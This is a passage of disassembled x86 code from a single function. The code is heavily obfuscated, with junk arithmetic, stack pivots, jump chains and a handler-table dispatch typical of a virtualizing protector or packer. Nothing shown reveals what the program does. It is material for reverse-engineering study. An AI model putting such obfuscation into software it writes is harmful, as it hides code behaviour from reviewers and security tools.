loc_58E6AB:				; CODE XREF: sub_58A891:loc_592E36j
					; sub_58A891+10665j
		jmp	loc_595C56
; ---------------------------------------------------------------------------


loc_58E6B0:				; CODE XREF: sub_58A891+51F1j
					; sub_58A891+D0AEj
		add	ebx, 4
		jmp	loc_59A4BD
; ---------------------------------------------------------------------------


loc_58E6BB:				; CODE XREF: sub_58A891+1023Bj
		push	[esp+4Ch+var_4A+2]
		pop	ecx
		pop	[esp+4Ch+var_4E+2]
		pop	esp
		jmp	loc_5979C8
; ---------------------------------------------------------------------------


loc_58E6C9:				; CODE XREF: sub_58A891+D144j
		push	ebp
		jmp	loc_59369B
; ---------------------------------------------------------------------------


loc_58E6CF:				; CODE XREF: sub_58A891+D022j
		push	13F9h
		jmp	loc_59ABC9
; ---------------------------------------------------------------------------


loc_58E6D9:				; CODE XREF: sub_58A891+3F5Dj
		add	eax, 4
		jmp	loc_58FDEF
; ---------------------------------------------------------------------------


loc_58E6E3:				; CODE XREF: sub_58A891+43ADj
		not	ebx
		jmp	loc_597AF8
; ---------------------------------------------------------------------------


loc_58E6EA:				; CODE XREF: sub_58A891+CF01j
		push	esp
		jmp	loc_593C49
; ---------------------------------------------------------------------------


loc_58E6F0:				; CODE XREF: sub_58A891+D1FCj
					; sub_58A891+10CA2j
		mov	[esp+0], eax
		mov	eax, esp
		push	edx
		mov	edx, 6F671314h
		sub	edx, 40FE3321h
		jmp	loc_59167E
; ---------------------------------------------------------------------------


loc_58E706:				; CODE XREF: sub_58A891+6D74j
		dec	ecx
		jl	loc_58EA3F
		jmp	loc_591698
; ---------------------------------------------------------------------------


loc_58E712:				; CODE XREF: sub_58A891+3DB4j
					; sub_58A891+6882j
		shl	word ptr [esp+40h+var_40], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58E71C:				; CODE XREF: sub_58A891+8C1Bj
		mov	ebp, 2
		add	esi, 56077619h
		add	esi, ebp
		push	ecx
		mov	ecx, 56077619h
		sub	esi, ecx
		pop	ecx
		pop	ebp
		xor	esi, [esp+40h+var_40]
		xor	[esp+40h+var_40], esi
		xor	esi, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		jmp	loc_58EF6B
; ---------------------------------------------------------------------------


loc_58E744:				; CODE XREF: sub_58A891+D262j
		xor	dh, 0D7h
		sub	cl, 0F5h
		add	cl, dh
		add	cl, 0F5h
		pop	edx
		pop	edx
		sub	al, cl
		mov	cx, word ptr [esp+38h+var_38]
		jmp	loc_59779F
; ---------------------------------------------------------------------------


loc_58E75C:				; CODE XREF: sub_58A891+C96Dj
		shr	ah, 1
		jmp	loc_594E7B
; ---------------------------------------------------------------------------


loc_58E763:				; CODE XREF: sub_58A891+F394j
		mov	cl, bl
		jmp	loc_59803B
; ---------------------------------------------------------------------------


loc_58E76A:				; CODE XREF: sub_58A891+3FD6j
					; sub_58A891+7C18j
		mov	eax, 2
		push	esi
		mov	esi, 56A95EA0h
		push	ecx
		mov	ecx, 7946039Eh
		and	ecx, 36301A0h
		dec	ecx
		push	esi
		mov	esi, 67390822h
		sub	esi, 14E8E41h
		jmp	loc_591878
; ---------------------------------------------------------------------------


loc_58E793:				; CODE XREF: sub_58A891+69EBj
					; sub_58A891+A5F0j
		add	esi, ebx
		push	edi
		mov	edi, 68B5A04h
		not	edi
		inc	edi
		sub	edi, 2B02A27h
		jmp	loc_59465C
; ---------------------------------------------------------------------------


loc_58E7A9:				; CODE XREF: sub_58A891+1114Bj
		mov	[esp+48h+var_4A+2], eax
		mov	eax, 4
		add	ecx, eax
		push	[esp+48h+var_4A+2]
		pop	eax
		jmp	loc_58FC25
; ---------------------------------------------------------------------------


loc_58E7BC:				; CODE XREF: sub_58A891+EE90j
		inc	edi
		dec	edi
		sub	edi, 60B80174h
		add	ebp, edi
		pop	edi
		push	ebx
		mov	ebx, 2B2B5CE1h
		push	0
		sub	[esp+4Ch+var_4E+2], ebx
		pop	ebx
		dec	ebx
		xor	ebx, 0D4D4A31Ah
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_40], eax
		push	esp
		mov	eax, [esp+44h+var_46+2]
		add	esp, 4
		jmp	loc_58E6D9
; ---------------------------------------------------------------------------


loc_58E7F3:				; CODE XREF: sub_58A891+44D0j
		or	[edi+1Ch], edx
		push	[esp+40h+var_40]
		pop	edx
		jmp	loc_5937EE
; ---------------------------------------------------------------------------
		push	[esp+40h+var_40]
		push	[esp+44h+var_46+2]
		jmp	loc_598E13
; ---------------------------------------------------------------------------


loc_58E80A:				; CODE XREF: sub_58A891+56DBj
		inc	ecx
		xor	ecx, 4DE609Fh
		sub	ecx, 5A8CE431h
		add	ebx, ecx
		pop	ecx
		add	ebx, 0A189F1FAh
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp+40h+var_40]
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		sub	esp, 4
		mov	[esp+40h+var_40], eax
		jmp	loc_58FB74
; ---------------------------------------------------------------------------


loc_58E83A:				; CODE XREF: sub_58A891+CA31j
		jmp	loc_59A2D4
; ---------------------------------------------------------------------------


loc_58E83F:				; CODE XREF: sub_58A891+D74Dj
		or	esi, edx
		pop	edx
		or	esi, 7B254A13h
		sub	esi, 0FFFFFFFFh
		and	esi, 2EE80716h
		shl	esi, 4
		add	esi, 51FF9002h
		add	edi, esi
		pop	esi
		jmp	loc_5967C9
; ---------------------------------------------------------------------------


loc_58E865:				; CODE XREF: sub_58A891+10928j
		pop	esi
		push	eax
		jmp	loc_58E76A
; ---------------------------------------------------------------------------


loc_58E86C:				; CODE XREF: sub_58A891+109EBj
		pop	esp
		mov	cx, word ptr [esp+34h+var_34]
		push	eax
		jmp	loc_59B72D
; ---------------------------------------------------------------------------


loc_58E877:				; CODE XREF: sub_58A891+ACE3j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_58F9A9
		push	ebx
		mov	ebx, 3CA75776h
		push	6056h
		mov	[esp+40h+var_40], eax
		push	esi
		mov	esi, 20h
		push	esi
		jmp	loc_58FCD5
; ---------------------------------------------------------------------------


loc_58E89B:				; CODE XREF: sub_58A891+97E8j
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp+48h+var_4A+2]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp+44h+var_46+2]
		jmp	loc_590145
; ---------------------------------------------------------------------------


loc_58E8B6:				; CODE XREF: sub_58A891+C7CCj
		xchg	ecx, [esp+44h+var_46+2]
		pop	edi
		jmp	loc_593DBD
; ---------------------------------------------------------------------------


loc_58E8BF:				; CODE XREF: sub_58A891+823Dj
		pop	ebp
		jmp	loc_59255B
; ---------------------------------------------------------------------------


loc_58E8C5:				; CODE XREF: sub_58A891+EF81j
					; sub_58A891+110C1j
		mov	[esp+3Ch+var_3C], ebp
		jmp	loc_596CFA
; ---------------------------------------------------------------------------
		align 2
		shr	byte ptr [edi+ebx*4], 1
		pop	edx
		sub	al, bl
		push	edx
		push	eax
		mov	ah, 14h
		add	ah, 0EDh
		jmp	loc_594767
; ---------------------------------------------------------------------------


loc_58E8E0:				; CODE XREF: sub_58A891+DB62j
					; DATA XREF: sub_58A891+3B87o
		push	ecx
		mov	ecx, 1Ch
		push	edx
		mov	edx, 5B0A1E0Eh
		jmp	loc_590DAD
; ---------------------------------------------------------------------------


loc_58E8F1:				; DATA XREF: sub_58A891+3A67o
		mov	ax, word ptr [esp+8+var_8]
		jmp	loc_5913D9
; ---------------------------------------------------------------------------


loc_58E8FA:				; CODE XREF: sub_58A891+8CDBj
		mov	eax, 2
		sub	edi, eax
		pop	eax
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	word ptr [esp+4+var_4],	ax
		mov	al, bl
		jmp	loc_59427D
; ---------------------------------------------------------------------------


loc_58E913:				; CODE XREF: sub_58A891+6E62j
		add	ecx, 647ACDh
		jmp	loc_591308
; ---------------------------------------------------------------------------


loc_58E91E:				; CODE XREF: sub_58A891+FCE6j
		add	bl, 41h
		jmp	loc_590CBF
; ---------------------------------------------------------------------------


loc_58E926:				; CODE XREF: sub_58A891+B935j
		sub	bx, 0D5Bh
		sub	bx, ax
		add	bx, 0D5Bh
		pop	eax
		jmp	loc_597131
; ---------------------------------------------------------------------------


loc_58E939:				; CODE XREF: sub_58A891+9C2Cj
		add	eax, ebp
		pop	ebp
		push	19D6h
		mov	[esp+0], edx
		mov	edx, 3DB97397h
		shl	edx, 3
		neg	edx
		jmp	loc_58E540
; ---------------------------------------------------------------------------


loc_58E953:				; CODE XREF: sub_58A891+DD86j
		mov	edx, 7F3F44D9h
		shr	edx, 2
		jnz	loc_5981B5
		and	edx, 436233FAh
		mov	bh, 2Bh
		pop	esp


loc_58E96B:				; DATA XREF: sub_58A891+3BEBo
		lodsd
		add	eax, 68416D3Eh
		jmp	loc_592213
; ---------------------------------------------------------------------------


loc_58E976:				; DATA XREF: sub_58A891+3B1Bo
		pop	dword ptr [edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58E97D:				; CODE XREF: sub_58A891+10659j
		add	eax, 4FCB5481h
		pop	ecx
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		pop	esp
		btc	[esp+0], ax
		pushf
		jmp	loc_598A53
; ---------------------------------------------------------------------------


loc_58E998:				; DATA XREF: sub_58A891+3A7Bo
		push	[esp+8+var_8]
		jmp	loc_5978F6
; ---------------------------------------------------------------------------


loc_58E9A0:				; CODE XREF: sub_58A891+94AFj
		pop	ecx
		shl	bh, 2
		jmp	loc_59A0DF
; ---------------------------------------------------------------------------


loc_58E9A9:				; CODE XREF: sub_58A891:loc_59AAE1j
		shr	edi, 5
		jmp	loc_594F9D
; ---------------------------------------------------------------------------


loc_58E9B1:				; CODE XREF: sub_58A891+110E9j
		mov	[esp+8+var_8], ecx
		mov	ch, 0A6h
		jmp	loc_599884
; ---------------------------------------------------------------------------


loc_58E9BB:				; CODE XREF: sub_58A891+F04Bj
		push	edx
		jmp	loc_590A80
; ---------------------------------------------------------------------------


loc_58E9C1:				; DATA XREF: sub_58A891+3A07o
		mov	ax, word ptr [esp+8+var_8]
		push	eax
		sub	esp, 4
		jmp	loc_59B7E2
; ---------------------------------------------------------------------------


loc_58E9CE:				; CODE XREF: sub_58A891+DBA2j
		push	ecx
		mov	ecx, 788D416Ah
		jmp	loc_596AE5
; ---------------------------------------------------------------------------


loc_58E9D9:				; CODE XREF: sub_58A891+EC0Dj
		sub	edi, edx
		pop	edx
		xchg	edi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		mov	[esp+10h+var_10], edx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58E9EA:				; CODE XREF: sub_58A891+6EA7j
		xor	bl, 0AEh
		shl	bl, 8
		not	bl
		not	bl
		sub	bl, 51h
		jmp	loc_598508
; ---------------------------------------------------------------------------


loc_58E9FC:				; CODE XREF: sub_58A891:loc_594CCBj
		shl	ebp, 5
		jz	loc_5939B4
		xor	ebp, 5DB6CF6Ah
		mov	edx, ebp
		pop	ebp
		add	edx, 2C050C7Bh
		jmp	loc_59A2B3
; ---------------------------------------------------------------------------


loc_58EA19:				; CODE XREF: sub_58A891+BE9Cj
		pop	ebx
		mov	esi, 6412582Ah
		jmp	loc_594372
; ---------------------------------------------------------------------------


loc_58EA24:				; CODE XREF: sub_58A891+B2ABj
		xor	esi, ecx
		jmp	loc_596CD1
; ---------------------------------------------------------------------------


loc_58EA2B:				; CODE XREF: sub_58A891+672Fj
		pop	eax
		shr	ch, 2
		shl	ch, 4
		or	ch, 7Ah
		inc	ch
		push	edx
		mov	dl, 0D9h
		jmp	loc_596E9C
; ---------------------------------------------------------------------------


loc_58EA3F:				; CODE XREF: sub_58A891+3E76j
					; sub_58A891+6D7Bj ...
		push	ebx
		mov	ebx, edi
		jmp	loc_59B6C1
; ---------------------------------------------------------------------------


loc_58EA47:				; CODE XREF: sub_58A891+CA1Bj
		mov	edi, 1BE72936h
		mov	eax, edi
		jmp	loc_595EA7
; ---------------------------------------------------------------------------


loc_58EA53:				; CODE XREF: sub_58A891+F5EDj
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_58EA5B:				; DATA XREF: sub_58A891+3993o
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_59603A
; ---------------------------------------------------------------------------


loc_58EA64:				; CODE XREF: sub_58A891+A1DBj
					; DATA XREF: sub_58A891+3AE3o
		movzx	ax, byte ptr fs:[edx]
		push	small 693Ch
		mov	word ptr [esp+0Ah+var_C+2], ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58EA76:				; CODE XREF: sub_58A891+B7F6j
		push	edx
		push	eax
		mov	eax, 8B1369Ch
		mov	edx, 8B1369Ch
		xor	edx, eax
		jmp	loc_5910D9
; ---------------------------------------------------------------------------


loc_58EA89:				; CODE XREF: sub_58A891+D8D6j
		sub	ebx, 7694182Dh
		jl	loc_594006
		xor	ebx, 7BD6A067h
		mov	ah, 11h
		mov	cl, dh


loc_58EA9F:				; CODE XREF: sub_58A891+B416j
		push	ebp
		push	esp
		jmp	loc_592AEB
; ---------------------------------------------------------------------------


loc_58EAA6:				; CODE XREF: sub_58A891+3CFFj
		add	esp, 4
		sub	esp, 4
		mov	[esp+38h+var_38], ecx
		push	2030299Ah
		jmp	loc_5914C9
; ---------------------------------------------------------------------------


loc_58EABC:				; CODE XREF: sub_58A891+8D39j
		mov	[esp+3Ch+var_3C], edx
		jmp	loc_599136
; ---------------------------------------------------------------------------


loc_58EAC4:				; CODE XREF: sub_58A891+7AC2j
					; sub_58A891+10218j
		push	eax
		jmp	loc_591BF4
; ---------------------------------------------------------------------------


loc_58EACA:				; CODE XREF: sub_58A891+4585j
		add	edx, ebx
		add	[edx], esi
		pop	edx
		pop	ebx
		mov	esi, [esp+38h+var_38]
		push	ebp
		jmp	loc_59161D
; ---------------------------------------------------------------------------


loc_58EAD9:				; CODE XREF: sub_58A891+BFBCj
		add	ebp, 39D8144Eh
		jmp	loc_590627
; ---------------------------------------------------------------------------


loc_58EAE4:				; CODE XREF: sub_58A891+B15Fj
		mov	ebx, esi
		jmp	loc_597A7A
; ---------------------------------------------------------------------------


loc_58EAEB:				; CODE XREF: sub_58A891+585Aj
		xor	edi, ecx
		pop	ecx
		xor	eax, edi
		jmp	loc_59894E
; ---------------------------------------------------------------------------


loc_58EAF5:				; CODE XREF: sub_58A891+F1C8j
		push	esp
		mov	ebp, [esp+3Ch+var_3C]
		add	esp, 4
		push	edx
		mov	edx, 0D267ADDh
		or	edx, 7D0F18CFh
		jmp	loc_590552
; ---------------------------------------------------------------------------


loc_58EB0D:				; CODE XREF: sub_58A891+5160j
		mov	eax, [esp+3Ch+var_3C]
		push	ecx
		push	esp
		jmp	loc_58EE86
; ---------------------------------------------------------------------------


loc_58EB17:				; CODE XREF: sub_58A891+11124j
		pop	ebp
		pop	[esp+40h+var_40]
		mov	esp, [esp+3Ch+var_3C]
		jmp	loc_591CB0
; ---------------------------------------------------------------------------


loc_58EB23:				; CODE XREF: sub_58A891+EFBAj
		pop	ecx
		add	eax, edi
		pop	edi
		add	eax, esi
		sub	eax, 522771Ch
		pop	esi
		sub	esp, 4
		jmp	loc_5913E7
; ---------------------------------------------------------------------------


loc_58EB37:				; CODE XREF: sub_58A891+FF08j
		mov	[esp+34h+var_34], ecx
		push	ebp
		mov	ebp, 45B617C0h
		shl	ebp, 7
		sub	ebp, 6384D66h
		jmp	loc_595341
; ---------------------------------------------------------------------------


loc_58EB4E:				; CODE XREF: sub_58A891+108EBj
		add	edx, 4
		push	ecx
		jmp	loc_592DB8
; ---------------------------------------------------------------------------


loc_58EB5A:				; CODE XREF: sub_58A891+FB38j
		push	edi
		push	ebp
		push	519C5226h
		mov	ebp, [esp+48h+var_4A+2]
		add	esp, 4
		neg	ebp
		jmp	loc_58EFB5
; ---------------------------------------------------------------------------


loc_58EB6E:				; CODE XREF: sub_58A891+AF07j
		mov	edi, 28127E68h
		xor	edi, 5DBA18C0h
		push	ecx
		mov	ecx, 6781591Dh
		jmp	loc_58F40C
; ---------------------------------------------------------------------------


loc_58EB84:				; DATA XREF: sub_58A891+39E3o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		push	esp
		pop	esi
		push	57E3h
		mov	[esp+10h+var_10], eax
		push	ecx
		jmp	loc_58F7D9
; ---------------------------------------------------------------------------


loc_58EB99:				; CODE XREF: sub_58A891+BD42j
		mov	edx, 4
		mov	ebx, edx
		pop	edx
		add	ebp, 774738BCh
		add	ebp, 55EE3CB8h
		add	ebp, ebx
		sub	ebp, 55EE3CB8h
		push	edi
		mov	edi, 8AF7B20h
		sub	edi, 91684264h
		add	ebp, 3BD6356Ah
		sub	ebp, edi
		sub	ebp, 3BD6356Ah
		pop	edi
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	eax, [esp+0Ch+var_C]
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, esp
		push	edi
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		push	703B7517h
		pop	edx
		mov	edi, 703B751Bh
		jmp	loc_5903F5
; ---------------------------------------------------------------------------


loc_58EBFE:				; CODE XREF: sub_58A891+F9A1j
		add	esi, 4
		jmp	loc_59B51C
; ---------------------------------------------------------------------------


loc_58EC09:				; CODE XREF: sub_58A891+545Cj
		push	ecx
		mov	ecx, 5E1742Eh
		add	ecx, 0FFFFFFFFh
		xor	ecx, 5E17429h
		add	eax, ecx
		push	[esp+1Ch+var_1C]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	eax, esi
		jmp	loc_59A3FF
; ---------------------------------------------------------------------------


loc_58EC31:				; CODE XREF: sub_58A891+7344j
		pop	edi
		push	eax
		mov	eax, 2AF32AC5h
		push	ebx
		mov	ebx, 0E0926F3h
		jmp	loc_58E6E3
; ---------------------------------------------------------------------------


loc_58EC43:				; DATA XREF: sub_58A891+3B6Bo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_596BB6
; ---------------------------------------------------------------------------


loc_58EC61:				; CODE XREF: sub_58A891+E9D8j
		pop	edx
		add	ebp, edx
		pop	edx
		xor	ebp, [esp+8+var_8]
		jmp	loc_598586
; ---------------------------------------------------------------------------


loc_58EC6D:				; CODE XREF: sub_58A891+F13Bj
		add	eax, 85275E6h
		jmp	loc_5936FC
; ---------------------------------------------------------------------------


loc_58EC77:				; CODE XREF: sub_58A891+A186j
		pop	ecx
		add	esp, 4
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		pop	edi
		add	ecx, esi
		pop	esi
		push	esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_591271
; ---------------------------------------------------------------------------


loc_58ECA3:				; CODE XREF: sub_58A891+E05Aj
		mov	[esp+0], ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_59399A
; ---------------------------------------------------------------------------


loc_58ECB2:				; CODE XREF: sub_58A891+1017Dj
		add	[esp-4+arg_0], eax
		push	ebp
		mov	ebp, 170D4D5Ah
		add	[esp+arg_0], ebp
		pop	ebp
		jmp	loc_59BB12
; ---------------------------------------------------------------------------


loc_58ECC6:				; CODE XREF: sub_58A891+B4CEj
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 56A4306Ch
		jmp	loc_5907D6
; ---------------------------------------------------------------------------


loc_58ECD8:				; CODE XREF: sub_58A891+69AEj
		push	eax
		jmp	loc_598F44
; ---------------------------------------------------------------------------


loc_58ECDE:				; CODE XREF: sub_58A891+DF20j
		add	ecx, edx
		pop	edx
		shl	ecx, 6
		add	ecx, 3C06770Ch
		jmp	loc_59403B
; ---------------------------------------------------------------------------


loc_58ECEF:				; CODE XREF: sub_58A891+58E8j
		push	275Ah
		jmp	loc_5963FE
; ---------------------------------------------------------------------------


loc_58ECF9:				; DATA XREF: sub_58A891+3B23o
		mov	ax, word ptr [esp+8+var_8]
		push	eax
		mov	eax, esp
		jmp	loc_599BCE
; ---------------------------------------------------------------------------


loc_58ED05:				; DATA XREF: sub_58A891+3A2Bo
		mov	ecx, [esp+8+var_8]
		push	7AB9h
		mov	[esp+0Ch+var_C], ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		mov	ebp, 28E2FA4h
		jmp	loc_59805D
; ---------------------------------------------------------------------------


loc_58ED22:				; CODE XREF: sub_58A891+71BDj
		mov	esi, ebp
		pop	ebp
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_595D64
; ---------------------------------------------------------------------------


loc_58ED30:				; DATA XREF: sub_58A891+3BF3o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 3CC27203h
		xor	eax, 6C812E59h
		jmp	loc_59B01E
; ---------------------------------------------------------------------------


loc_58ED47:				; DATA XREF: sub_58A891+3BE7o
		mov	ax, word ptr [esp+8+var_8]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_597E3C
; ---------------------------------------------------------------------------


loc_58ED59:				; CODE XREF: sub_58A891+83D6j
		pop	edx
		sub	edx, 1B359D2h
		pop	ecx
		jmp	loc_58E7F3
; ---------------------------------------------------------------------------


loc_58ED66:				; CODE XREF: sub_58A891+E109j
		mov	word ptr [esp+4+var_4],	ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58ED6F:				; CODE XREF: sub_58A891+56E9j
					; sub_58A891+6437j
		pop	esp
		mov	[esp+0], eax
		push	edx
		pop	eax
		pop	edx
		mov	edx, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		xor	eax, 7CC4794Ah
		add	eax, 5D749AA7h
		mov	ecx, eax
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_593282
; ---------------------------------------------------------------------------


loc_58EDA1:				; CODE XREF: sub_58A891+E2FCj
		add	ecx, ebp
		pop	ebp
		or	ecx, 52F47BE3h
		js	loc_598611
		jmp	loc_58FACB
; ---------------------------------------------------------------------------


loc_58EDB5:				; CODE XREF: sub_58A891+F076j
		pop	ecx
		add	ecx, esi
		pop	esi
		add	ecx, 2
		xor	ecx, [esp-10h+arg_8]
		xor	[esp-10h+arg_8], ecx
		xor	ecx, [esp-10h+arg_8]
		mov	esp, [esp-10h+arg_8]
		jmp	loc_59A04E
; ---------------------------------------------------------------------------


loc_58EDCD:				; CODE XREF: sub_58A891:loc_59348Dj
		sub	ecx, 0F1502141h
		mov	eax, ecx
		pop	ecx
		add	ecx, eax
		pop	eax
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_58FD96
; ---------------------------------------------------------------------------


loc_58EDE6:				; CODE XREF: sub_58A891+A693j
		push	ebp
		mov	ebp, 39362BF7h
		xor	eax, ebp
		jmp	loc_594672
; ---------------------------------------------------------------------------


loc_58EDF3:				; CODE XREF: sub_58A891+D2B7j
					; sub_58A891+F45Fj
		sub	esp, 4
		jmp	loc_5916FF
; ---------------------------------------------------------------------------


loc_58EDFE:				; CODE XREF: sub_58A891+D41Aj
		mov	esi, edx
		pop	edx
		mov	dword ptr [edx+30h], 0D73EBCDEh
		push	ebx
		mov	ebx, 30h
		add	ebx, edx
		push	edx
		mov	edx, 0
		jmp	loc_58EACA
; ---------------------------------------------------------------------------


loc_58EE1B:				; CODE XREF: sub_58A891+6F23j
		push	ebx
		jmp	loc_59A0A7
; ---------------------------------------------------------------------------


loc_58EE21:				; CODE XREF: sub_58A891+E73Dj
		neg	edi
		sub	edi, 36CF157Dh
		shl	edi, 2
		jmp	loc_5983DD
; ---------------------------------------------------------------------------


loc_58EE31:				; CODE XREF: sub_58A891+77ADj
		pop	ecx
		xchg	edi, [esp-8+arg_0]
		pop	esp
		sub	esp, 4
		jmp	loc_5973DE
; ---------------------------------------------------------------------------


loc_58EE41:				; CODE XREF: sub_58A891+922Aj
		add	eax, 607FC5CBh
		sub	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		sub	esi, ebx
		jmp	loc_5903D1
; ---------------------------------------------------------------------------


loc_58EE53:				; CODE XREF: sub_58A891+75E8j
					; sub_58A891+8F78j
		add	ebp, 4
		push	edi
		mov	edi, 14E87681h
		not	edi
		jmp	loc_592665
; ---------------------------------------------------------------------------


loc_58EE66:				; CODE XREF: sub_58A891+BE60j
		add	esp, 4
		add	eax, 7FD27711h
		push	6B30h
		jmp	loc_593932
; ---------------------------------------------------------------------------


loc_58EE7B:				; CODE XREF: sub_58A891:loc_593EA0j
		xor	edx, 2E256651h
		jmp	loc_58F149
; ---------------------------------------------------------------------------


loc_58EE86:				; CODE XREF: sub_58A891+4281j
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+44h+var_40]
		pop	ecx
		pop	[esp+44h+var_46+2]
		pop	esp
		sub	esp, 4
		mov	[esp+40h+var_40], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+40h+var_40]
		xor	[esp+40h+var_40], eax
		jmp	loc_58E61F
; ---------------------------------------------------------------------------


loc_58EEB8:				; CODE XREF: sub_58A891+5D91j
		push	esi
		push	4
		mov	esi, [esp+48h+var_4A+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4Ch+var_4E+2]
		jmp	loc_591BDA
; ---------------------------------------------------------------------------


loc_58EED8:				; CODE XREF: sub_58A891+5752j
		or	bl, 67h
		jno	loc_59735F
		sub	bl, 5Fh
		shl	bl, 5
		not	bl
		mov	edi, eax
		pop	eax


loc_58EEEC:				; CODE XREF: sub_58A891+C99Cj
		mov	ecx, [esp+48h+var_4A+2]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp+44h+var_46+2]
		pop	esp
		jmp	loc_594B2C
; ---------------------------------------------------------------------------


loc_58EEFE:				; CODE XREF: sub_58A891+A99Ej
		pop	eax
		add	esp, 4
		jmp	loc_59AA7A
; ---------------------------------------------------------------------------


loc_58EF0A:				; CODE XREF: sub_58A891+10753j
		push	ebp
		mov	ebp, 2155117Ch
		sub	edx, ebp
		jmp	loc_59B593
; ---------------------------------------------------------------------------


loc_58EF17:				; CODE XREF: sub_58A891+514Fj
		push	11C7h
		mov	[esp+40h+var_40], eax
		push	esp
		push	[esp+44h+var_46+2]
		pop	eax
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp+48h+var_4A+2]
		jmp	loc_59A937
; ---------------------------------------------------------------------------


loc_58EF46:				; CODE XREF: sub_58A891+6E99j
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp+48h+var_4A+2]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp+44h+var_46+2]
		jmp	loc_599579
; ---------------------------------------------------------------------------


loc_58EF61:				; CODE XREF: sub_58A891+782Dj
		or	word ptr [esp+44h+var_46+2], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58EF6B:				; CODE XREF: sub_58A891+3EAEj
		dec	word ptr [esp+40h+var_40]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_58EF75:				; CODE XREF: sub_58A891+6CB2j
		pop	ebx
		sub	edi, 0A0B78FCh
		std
		push	ebx
		push	edi
		mov	edi, 353F21D9h
		mov	ebx, edi
		pop	edi
		and	ebx, 2DC35D83h
		jg	loc_599D90
		neg	ebx
		jle	loc_5918F3
		jle	loc_591B0E
		push	ebx


loc_58EFA2:				; CODE XREF: sub_58A891+8E05j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+48h+var_4A+2]
		jmp	loc_59697B
; ---------------------------------------------------------------------------


loc_58EFB5:				; CODE XREF: sub_58A891+42D8j
		shl	ebp, 8
		jmp	loc_59AAFE
; ---------------------------------------------------------------------------


loc_58EFBD:				; CODE XREF: sub_58A891+A176j
		sub	ax, bp
		mov	bp, ax
		jmp	loc_599A24
; ---------------------------------------------------------------------------


loc_58EFC8:				; CODE XREF: sub_58A891+9196j
		pop	[esp+44h+var_46+2]
		mov	esp, [esp+40h+var_40]
		jmp	loc_591E4A
; ---------------------------------------------------------------------------


loc_58EFD3:				; CODE XREF: sub_58A891+10945j
		sub	esp, 4
		jmp	loc_594379
; ---------------------------------------------------------------------------


loc_58EFDB:				; CODE XREF: sub_58A891:loc_590EA6j
		sub	edx, 4FFF77FEh
		mov	eax, edx
		pop	edx
		jmp	loc_591CA0
; ---------------------------------------------------------------------------


loc_58EFE9:				; CODE XREF: sub_58A891+E497j
		pop	eax
		sub	esp, 4
		jmp	loc_5962AA
; ---------------------------------------------------------------------------


loc_58EFF2:				; CODE XREF: sub_58A891+1077Dj
		add	edi, 4
		xchg	edi, [esp+40h+var_40]
		pop	esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], esi
		xor	esi, [esp+3Ch+var_3C]
		mov	esp, [esp+3Ch+var_3C]
		mov	[esp+3Ch+var_3C], ebx
		jmp	loc_595B8F
; ---------------------------------------------------------------------------


loc_58F016:				; CODE XREF: sub_58A891+49C9j
		pop	edx
